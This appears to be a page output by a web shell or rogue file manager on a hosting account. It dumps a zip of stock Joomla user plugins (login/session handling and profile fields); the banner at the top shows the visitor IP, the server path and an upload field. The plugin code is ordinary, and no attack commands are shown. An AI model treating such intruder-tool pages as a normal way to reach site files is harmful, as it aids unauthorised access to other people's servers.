Your IP : 216.73.217.112


Current Path : /home/a/n/n/annegardxb/www/so-assurances/
Upload File :
Current File : /home/a/n/n/annegardxb/www/so-assurances/plugins.zip

PK�(]���user/joomla/joomla.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="user" method="upgrade">
	<name>plg_user_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>December 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_USER_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_user_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_user_joomla.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="autoregister"
					type="radio"
					label="PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL"
					description="PLG_USER_JOOMLA_FIELD_AUTOREGISTER_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="mail_to_user"
					type="radio"
					label="PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL"
					description="PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="forceLogout"
					type="radio"
					label="PLG_USER_JOOMLA_FIELD_FORCELOGOUT_LABEL"
					description="PLG_USER_JOOMLA_FIELD_FORCELOGOUT_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]m�_�))user/joomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.joomla
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserHelper;
use Joomla\Registry\Registry;

/**
 * Joomla User plugin
 *
 * @since  1.5
 */
class PlgUserJoomla extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.2
	 */
	protected $db;

	/**
	 * Set as required the passwords fields when mail to user is set to No
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.2
	 */
	public function onContentPrepareForm($form, $data)
	{
		// Check we are manipulating a valid user form before modifying it.
		$name = $form->getName();

		if ($name === 'com_users.user')
		{
			// In case there is a validation error (like duplicated user), $data is an empty array on save.
			// After returning from error, $data is an array but populated
			if (!$data)
			{
				$data = JFactory::getApplication()->input->get('jform', array(), 'array');
			}

			if (is_array($data))
			{
				$data = (object) $data;
			}

			// Passwords fields are required when mail to user is set to No
			if (empty($data->id) && !$this->params->get('mail_to_user', 1))
			{
				$form->setFieldAttribute('password', 'required', 'true');
				$form->setFieldAttribute('password2', 'required', 'true');
			}
		}

		return true;
	}

	/**
	 * Remove all sessions for the user name
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->delete($this->db->quoteName('#__session'))
			->where($this->db->quoteName('userid') . ' = ' . (int) $user['id']);

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->delete($this->db->quoteName('#__messages'))
			->where($this->db->quoteName('user_id_from') . ' = ' . (int) $user['id']);

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Utility method to act on a user after it has been saved.
	 *
	 * This method sends a registration email to new users created in the backend.
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		$mail_to_user = $this->params->get('mail_to_user', 1);

		if (!$isnew || !$mail_to_user)
		{
			return;
		}

		// TODO: Suck in the frontend registration emails here as well. Job for a rainy day.
		// The method check here ensures that if running as a CLI Application we don't get any errors
		if (method_exists($this->app, 'isClient') && !$this->app->isClient('administrator'))
		{
			return;
		}

		// Check if we have a sensible from email address, if not bail out as mail would not be sent anyway
		if (strpos($this->app->get('mailfrom'), '@') === false)
		{
			$this->app->enqueueMessage(Text::_('JERROR_SENDING_EMAIL'), 'warning');

			return;
		}

		$lang = Factory::getLanguage();
		$defaultLocale = $lang->getTag();

		/**
		 * Look for user language. Priority:
		 * 	1. User frontend language
		 * 	2. User backend language
		 */
		$userParams = new Registry($user['params']);
		$userLocale = $userParams->get('language', $userParams->get('admin_language', $defaultLocale));

		if ($userLocale !== $defaultLocale)
		{
			$lang->setLanguage($userLocale);
		}

		$lang->load('plg_user_joomla', JPATH_ADMINISTRATOR);

		// Compute the mail subject.
		$emailSubject = Text::sprintf(
			'PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT',
			$user['name'],
			$this->app->get('sitename')
		);

		// Compute the mail body.
		$emailBody = Text::sprintf(
			'PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY',
			$user['name'],
			$this->app->get('sitename'),
			Uri::root(),
			$user['username'],
			$user['password_clear']
		);

		$res = Factory::getMailer()->sendMail(
			$this->app->get('mailfrom'),
			$this->app->get('fromname'),
			$user['email'],
			$emailSubject,
			$emailBody
		);

		if ($res === false)
		{
			$this->app->enqueueMessage(Text::_('JERROR_SENDING_EMAIL'), 'warning');
		}

		// Set application language back to default if we changed it
		if ($userLocale !== $defaultLocale)
		{
			$lang->setLanguage($defaultLocale);
		}
	}

	/**
	 * This method should handle any login logic and report back to the subject
	 *
	 * @param   array  $user     Holds the user data
	 * @param   array  $options  Array holding options (remember, autoregister, group)
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 */
	public function onUserLogin($user, $options = array())
	{
		$instance = $this->_getUser($user, $options);

		// If _getUser returned an error, then pass it back.
		if ($instance instanceof Exception)
		{
			return false;
		}

		// If the user is blocked, redirect with an error
		if ($instance->block == 1)
		{
			$this->app->enqueueMessage(Text::_('JERROR_NOLOGIN_BLOCKED'), 'warning');

			return false;
		}

		// Authorise the user based on the group information
		if (!isset($options['group']))
		{
			$options['group'] = 'USERS';
		}

		// Check the user can login.
		$result = $instance->authorise($options['action']);

		if (!$result)
		{
			$this->app->enqueueMessage(Text::_('JERROR_LOGIN_DENIED'), 'warning');

			return false;
		}

		// Mark the user as logged in
		$instance->guest = 0;

		$session = Factory::getSession();

		// Grab the current session ID
		$oldSessionId = $session->getId();

		// Fork the session
		$session->fork();

		$session->set('user', $instance);

		// Ensure the new session's metadata is written to the database
		$this->app->checkSession();

		// Purge the old session
		$query = $this->db->getQuery(true)
			->delete('#__session')
			->where($this->db->quoteName('session_id') . ' = ' . $this->db->quoteBinary($oldSessionId));

		try
		{
			$this->db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// The old session is already invalidated, don't let this block logging in
		}

		// Hit the user last visit field
		$instance->setLastVisit();

		// Add "user state" cookie used for reverse caching proxies like Varnish, Nginx etc.
		if ($this->app->isClient('site'))
		{
			$this->app->input->cookie->set(
				'joomla_user_state',
				'logged_in',
				0,
				$this->app->get('cookie_path', '/'),
				$this->app->get('cookie_domain', ''),
				$this->app->isHttpsForced(),
				true
			);
		}

		return true;
	}

	/**
	 * This method should handle any logout logic and report back to the subject
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (client, ...).
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 */
	public function onUserLogout($user, $options = array())
	{
		$my      = Factory::getUser();
		$session = Factory::getSession();

		// Make sure we're a valid user first
		if ($user['id'] == 0 && !$my->get('tmp_user'))
		{
			return true;
		}

		$sharedSessions = $this->app->get('shared_session', '0');

		// Check to see if we're deleting the current session
		if ($my->id == $user['id'] && ($sharedSessions || (!$sharedSessions && $options['clientid'] == $this->app->getClientId())))
		{
			// Hit the user last visit field
			$my->setLastVisit();

			// Destroy the php session for this user
			$session->destroy();
		}

		// Enable / Disable Forcing logout all users with same userid
		$forceLogout = $this->params->get('forceLogout', 1);

		if ($forceLogout)
		{
			$clientId = (!$sharedSessions) ? (int) $options['clientid'] : null;

			UserHelper::destroyUserSessions($user['id'], false, $clientId);
		}

		// Delete "user state" cookie used for reverse caching proxies like Varnish, Nginx etc.
		if ($this->app->isClient('site'))
		{
			$this->app->input->cookie->set('joomla_user_state', '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));
		}

		return true;
	}

	/**
	 * This method will return a user object
	 *
	 * If options['autoregister'] is true, if the user doesn't exist yet they will be created
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (remember, autoregister, group).
	 *
	 * @return  User
	 *
	 * @since   1.5
	 */
	protected function _getUser($user, $options = array())
	{
		$instance = User::getInstance();
		$id = (int) UserHelper::getUserId($user['username']);

		if ($id)
		{
			$instance->load($id);

			return $instance;
		}

		// TODO : move this out of the plugin
		$params = ComponentHelper::getParams('com_users');

		// Read the default user group option from com_users
		$defaultUserGroup = $params->get('new_usertype', $params->get('guest_usergroup', 1));

		$instance->id = 0;
		$instance->name = $user['fullname'];
		$instance->username = $user['username'];
		$instance->password_clear = $user['password_clear'];

		// Result should contain an email (check).
		$instance->email = $user['email'];
		$instance->groups = array($defaultUserGroup);

		// If autoregister is set let's register the user
		$autoregister = isset($options['autoregister']) ? $options['autoregister'] : $this->params->get('autoregister', 1);

		if ($autoregister)
		{
			if (!$instance->save())
			{
				JLog::add('Error in autoregistration for user ' . $user['username'] . '.', JLog::WARNING, 'error');
			}
		}
		else
		{
			// No existing user and autoregister off, this is a temporary user.
			$instance->set('tmp_user', true);
		}

		return $instance;
	}
}
PK�(]��i�;4;4user/profile/profile.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.profile
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * An example custom profile plugin.
 *
 * @since  1.6
 */
class PlgUserProfile extends JPlugin
{
	/**
	 * Date of birth.
	 *
	 * @var    string
	 * @since  3.1
	 */
	private $date = '';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Constructor
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An array that holds the plugin configuration
	 *
	 * @since   1.5
	 */
	public function __construct(& $subject, $config)
	{
		parent::__construct($subject, $config);
		FormHelper::addFieldPath(__DIR__ . '/field');
	}

	/**
	 * Runs on content preparation
	 *
	 * @param   string  $context  The context for the data
	 * @param   object  $data     An object containing the data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onContentPrepareData($context, $data)
	{
		// Check we are manipulating a valid form.
		if (!in_array($context, array('com_users.profile', 'com_users.user', 'com_users.registration', 'com_admin.profile')))
		{
			return true;
		}

		if (is_object($data))
		{
			$userId = isset($data->id) ? $data->id : 0;

			if (!isset($data->profile) && $userId > 0)
			{
				// Load the profile data from the database.
				$db = Factory::getDbo();
				$db->setQuery(
					'SELECT profile_key, profile_value FROM #__user_profiles'
						. ' WHERE user_id = ' . (int) $userId . " AND profile_key LIKE 'profile.%'"
						. ' ORDER BY ordering'
				);

				try
				{
					$results = $db->loadRowList();
				}
				catch (RuntimeException $e)
				{
					$this->_subject->setError($e->getMessage());

					return false;
				}

				// Merge the profile data.
				$data->profile = array();

				foreach ($results as $v)
				{
					$k = str_replace('profile.', '', $v[0]);
					$data->profile[$k] = json_decode($v[1], true);

					if ($data->profile[$k] === null)
					{
						$data->profile[$k] = $v[1];
					}
				}
			}

			if (!HTMLHelper::isRegistered('users.url'))
			{
				HTMLHelper::register('users.url', array(__CLASS__, 'url'));
			}

			if (!HTMLHelper::isRegistered('users.calendar'))
			{
				HTMLHelper::register('users.calendar', array(__CLASS__, 'calendar'));
			}

			if (!HTMLHelper::isRegistered('users.tos'))
			{
				HTMLHelper::register('users.tos', array(__CLASS__, 'tos'));
			}

			if (!HTMLHelper::isRegistered('users.dob'))
			{
				HTMLHelper::register('users.dob', array(__CLASS__, 'dob'));
			}
		}

		return true;
	}

	/**
	 * Returns an anchor tag generated from a given value
	 *
	 * @param   string  $value  URL to use
	 *
	 * @return  mixed|string
	 */
	public static function url($value)
	{
		if (empty($value))
		{
			return HTMLHelper::_('users.value', $value);
		}
		else
		{
			// Convert website URL to utf8 for display
			$value = PunycodeHelper::urlToUTF8(htmlspecialchars($value));

			if (strpos($value, 'http') === 0)
			{
				return '<a href="' . $value . '">' . $value . '</a>';
			}
			else
			{
				return '<a href="http://' . $value . '">' . $value . '</a>';
			}
		}
	}

	/**
	 * Returns html markup showing a date picker
	 *
	 * @param   string  $value  valid date string
	 *
	 * @return  mixed
	 */
	public static function calendar($value)
	{
		if (empty($value))
		{
			return HTMLHelper::_('users.value', $value);
		}
		else
		{
			return HTMLHelper::_('date', $value, null, null);
		}
	}

	/**
	 * Returns the date of birth formatted and calculated using server timezone.
	 *
	 * @param   string  $value  valid date string
	 *
	 * @return  mixed
	 */
	public static function dob($value)
	{
		if (!$value)
		{
			return '';
		}

		return HTMLHelper::_('date', $value, Text::_('DATE_FORMAT_LC1'), false);
	}

	/**
	 * Return the translated strings yes or no depending on the value
	 *
	 * @param   boolean  $value  input value
	 *
	 * @return  string
	 */
	public static function tos($value)
	{
		if ($value)
		{
			return Text::_('JYES');
		}
		else
		{
			return Text::_('JNO');
		}
	}

	/**
	 * Adds additional fields to the user editing form
	 *
	 * @param   Form   $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onContentPrepareForm(Form $form, $data)
	{
		// Check we are manipulating a valid form.
		$name = $form->getName();

		if (!in_array($name, array('com_admin.profile', 'com_users.user', 'com_users.profile', 'com_users.registration')))
		{
			return true;
		}

		// Add the registration fields to the form.
		Form::addFormPath(__DIR__ . '/profiles');
		$form->loadFile('profile');

		$fields = array(
			'address1',
			'address2',
			'city',
			'region',
			'country',
			'postal_code',
			'phone',
			'website',
			'favoritebook',
			'aboutme',
			'dob',
			'tos',
		);

		// Change fields description when displayed in frontend or backend profile editing
		$app = Factory::getApplication();

		if ($app->isClient('site') || $name === 'com_users.user' || $name === 'com_admin.profile')
		{
			$form->setFieldAttribute('address1', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('address2', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('city', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('region', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('country', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('postal_code', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('phone', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('website', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('favoritebook', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('aboutme', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('dob', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('tos', 'description', 'PLG_USER_PROFILE_FIELD_TOS_DESC_SITE', 'profile');
		}

		$tosArticle = $this->params->get('register_tos_article');
		$tosEnabled = $this->params->get('register-require_tos', 0);

		// We need to be in the registration form and field needs to be enabled
		if ($name !== 'com_users.registration' || !$tosEnabled)
		{
			// We only want the TOS in the registration form
			$form->removeField('tos', 'profile');
		}
		else
		{
			// Push the TOS article ID into the TOS field.
			$form->setFieldAttribute('tos', 'article', $tosArticle, 'profile');
		}

		foreach ($fields as $field)
		{
			// Case using the users manager in admin
			if ($name === 'com_users.user')
			{
				// Toggle whether the field is required.
				if ($this->params->get('profile-require_' . $field, 1) > 0)
				{
					$form->setFieldAttribute($field, 'required', ($this->params->get('profile-require_' . $field) == 2) ? 'required' : '', 'profile');
				}
				// Remove the field if it is disabled in registration and profile
				elseif ($this->params->get('register-require_' . $field, 1) == 0
					&& $this->params->get('profile-require_' . $field, 1) == 0)
				{
					$form->removeField($field, 'profile');
				}
			}
			// Case registration
			elseif ($name === 'com_users.registration')
			{
				// Toggle whether the field is required.
				if ($this->params->get('register-require_' . $field, 1) > 0)
				{
					$form->setFieldAttribute($field, 'required', ($this->params->get('register-require_' . $field) == 2) ? 'required' : '', 'profile');
				}
				else
				{
					$form->removeField($field, 'profile');
				}
			}
			// Case profile in site or admin
			elseif ($name === 'com_users.profile' || $name === 'com_admin.profile')
			{
				// Toggle whether the field is required.
				if ($this->params->get('profile-require_' . $field, 1) > 0)
				{
					$form->setFieldAttribute($field, 'required', ($this->params->get('profile-require_' . $field) == 2) ? 'required' : '', 'profile');
				}
				else
				{
					$form->removeField($field, 'profile');
				}
			}
		}

		// Drop the profile form entirely if there aren't any fields to display.
		$remainingfields = $form->getGroup('profile');

		if (!count($remainingfields))
		{
			$form->removeGroup('profile');
		}

		return true;
	}

	/**
	 * Method is called before user data is stored in the database
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isnew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return  boolean
	 *
	 * @since   3.1
	 * @throws  InvalidArgumentException on invalid date.
	 */
	public function onUserBeforeSave($user, $isnew, $data)
	{
		// Check that the date is valid.
		if (!empty($data['profile']['dob']))
		{
			try
			{
				$date = new Date($data['profile']['dob']);
				$this->date = $date->format('Y-m-d H:i:s');
			}
			catch (Exception $e)
			{
				// Throw an exception if date is not valid.
				throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_ERROR_INVALID_DOB'));
			}

			if (Date::getInstance('now') < $date)
			{
				// Throw an exception if dob is greater than now.
				throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_ERROR_INVALID_DOB_FUTURE_DATE'));
			}
		}

		// Check that the tos is checked if required ie only in registration from frontend.
		$task       = Factory::getApplication()->input->getCmd('task');
		$option     = Factory::getApplication()->input->getCmd('option');
		$tosArticle = $this->params->get('register_tos_article');
		$tosEnabled = ($this->params->get('register-require_tos', 0) == 2);

		// Check that the tos is checked.
		if ($task === 'register' && $tosEnabled && $tosArticle && $option === 'com_users' && !$data['profile']['tos'])
		{
			throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_FIELD_TOS_DESC_SITE'));
		}

		return true;
	}

	/**
	 * Saves user profile data
	 *
	 * @param   array    $data    entered user data
	 * @param   boolean  $isNew   true if this is a new user
	 * @param   boolean  $result  true if saving the user worked
	 * @param   string   $error   error message
	 *
	 * @return  boolean
	 */
	public function onUserAfterSave($data, $isNew, $result, $error)
	{
		$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

		if ($userId && $result && isset($data['profile']) && count($data['profile']))
		{
			try
			{
				$db = Factory::getDbo();

				// Sanitize the date
				if (!empty($data['profile']['dob']))
				{
					$data['profile']['dob'] = $this->date;
				}

				$keys = array_keys($data['profile']);

				foreach ($keys as &$key)
				{
					$key = 'profile.' . $key;
					$key = $db->quote($key);
				}

				$query = $db->getQuery(true)
					->delete($db->quoteName('#__user_profiles'))
					->where($db->quoteName('user_id') . ' = ' . (int) $userId)
					->where($db->quoteName('profile_key') . ' IN (' . implode(',', $keys) . ')');
				$db->setQuery($query);
				$db->execute();

				$query = $db->getQuery(true)
					->select($db->quoteName('ordering'))
					->from($db->quoteName('#__user_profiles'))
					->where($db->quoteName('user_id') . ' = ' . (int) $userId);
				$db->setQuery($query);
				$usedOrdering = $db->loadColumn();

				$tuples = array();
				$order = 1;

				foreach ($data['profile'] as $k => $v)
				{
					while (in_array($order, $usedOrdering))
					{
						$order++;
					}

					$tuples[] = '(' . $userId . ', ' . $db->quote('profile.' . $k) . ', ' . $db->quote(json_encode($v)) . ', ' . ($order++) . ')';
				}

				$db->setQuery('INSERT INTO #__user_profiles VALUES ' . implode(', ', $tuples));
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->_subject->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}

	/**
	 * Remove all user profile information for the given user ID
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  boolean
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		if ($userId)
		{
			try
			{
				$db = Factory::getDbo();
				$db->setQuery(
					'DELETE FROM #__user_profiles WHERE user_id = ' . $userId
						. " AND profile_key LIKE 'profile.%'"
				);

				$db->execute();
			}
			catch (Exception $e)
			{
				$this->_subject->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}
}
PK�(]̨h)x'x'user/profile/profile.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="user" method="upgrade">
	<name>plg_user_profile</name>
	<author>Joomla! Project</author>
	<creationDate>January 2008</creationDate>
	<copyright>(C) 2008 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_USER_PROFILE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="profile">profile.php</filename>
		<folder>profiles</folder>
		<folder>field</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_user_profile.ini</language>
		<language tag="en-GB">en-GB.plg_user_profile.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_content/models/fields">
				<field
					name="register-require-user"
					type="spacer"
					label="PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER"
					class="text"
				/>

				<field
					name="register-require_address1"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL"
					description="PLG_USER_PROFILE_FIELD_ADDRESS1_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_address2"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL"
					description="PLG_USER_PROFILE_FIELD_ADDRESS2_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_city"
					type="list"
					label="PLG_USER_PROFILE_FIELD_CITY_LABEL"
					description="PLG_USER_PROFILE_FIELD_CITY_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_region"
					type="list"
					label="PLG_USER_PROFILE_FIELD_REGION_LABEL"
					description="PLG_USER_PROFILE_FIELD_REGION_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_country"
					type="list"
					label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL"
					description="PLG_USER_PROFILE_FIELD_COUNTRY_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_postal_code"
					type="list"
					label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL"
					description="PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_phone"
					type="list"
					label="PLG_USER_PROFILE_FIELD_PHONE_LABEL"
					description="PLG_USER_PROFILE_FIELD_PHONE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_website"
					type="list"
					label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL"
					description="PLG_USER_PROFILE_FIELD_WEB_SITE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_favoritebook"
					type="list"
					label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL"
					description="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_aboutme"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL"
					description="PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC"
					default="1"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="1">JOPTION_OPTIONAL</option>
					<option	value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_tos"
					type="list"
					label="PLG_USER_PROFILE_FIELD_TOS_LABEL"
					description="PLG_USER_PROFILE_FIELD_TOS_DESC"
					default="0"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="0">JDISABLED</option>
				</field>

				<field
					name="register_tos_article"
					type="modal_article"
					label="PLG_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL"
					description="PLG_USER_PROFILE_FIELD_TOS_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>

				<field
					name="register-require_dob"
					type="list"
					label="PLG_USER_PROFILE_FIELD_DOB_LABEL"
					description="PLG_USER_PROFILE_FIELD_DOB_DESC"
					default="1"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="1">JOPTION_OPTIONAL</option>
					<option	value="0">JDISABLED</option>
				</field>

				<field
					name="spacer1"
					type="spacer"
					hr="true"
				/>

				<field
					name="profile-require-user"
					type="spacer"
					label="PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER"
					class="text"
				/>

				<field
					name="profile-require_address1"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL"
					description="PLG_USER_PROFILE_FIELD_ADDRESS1_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_address2"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL"
					description="PLG_USER_PROFILE_FIELD_ADDRESS2_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_city"
					type="list"
					label="PLG_USER_PROFILE_FIELD_CITY_LABEL"
					description="PLG_USER_PROFILE_FIELD_CITY_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_region"
					type="list"
					label="PLG_USER_PROFILE_FIELD_REGION_LABEL"
					description="PLG_USER_PROFILE_FIELD_REGION_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_country"
					type="list"
